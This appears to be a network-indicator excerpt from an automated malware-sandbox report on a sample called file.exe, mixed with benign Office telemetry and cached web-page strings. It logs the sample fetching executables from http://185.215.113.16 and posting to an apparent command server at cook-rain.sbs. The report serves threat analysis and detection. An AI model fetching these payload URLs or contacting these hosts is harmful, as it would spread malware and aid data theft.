Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000002.1738243714.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.1736767877.000000000053A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000002.1738243714.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.1738243714.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe-
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_113.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_113.6.dr, chromecache_114.6.dr, chromecache_77.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_113.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_113.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_113.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1481035773.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454569653.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1479733246.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479679719.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479618526.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479518501.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479780165.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479830355.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/%
Source: file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454734940.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454569653.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/-l
Source: file.exe, 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/9
Source: file.exe, 00000000.00000003.1527370840.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510492976.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/T
Source: file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/Z
Source: file.exe, 00000000.00000003.1527370840.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505409525.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510492976.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/a
Source: file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675867782.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482726377.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505552473.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454734940.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454569653.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675911487.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675867782.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api.m
Source: file.exe, 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481913263.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480903921.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481788169.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482199863.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479733246.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480175831.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431407480.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482141402.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481170301.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480846306.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508938926.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480497911.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481419256.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480789721.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481105021.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482398386.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482560101.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479944763.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiqjf
Source: file.exe, 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apivL
Source: file.exe, 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508938926.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675911487.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675867782.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505552473.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/ers
Source: file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/h
Source: file.exe, 00000000.00000003.1505409525.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/s
Source: file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/z
Source: file.exe, file.exe, 00000000.00000003.1583514440.0000000000D31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/adegeo
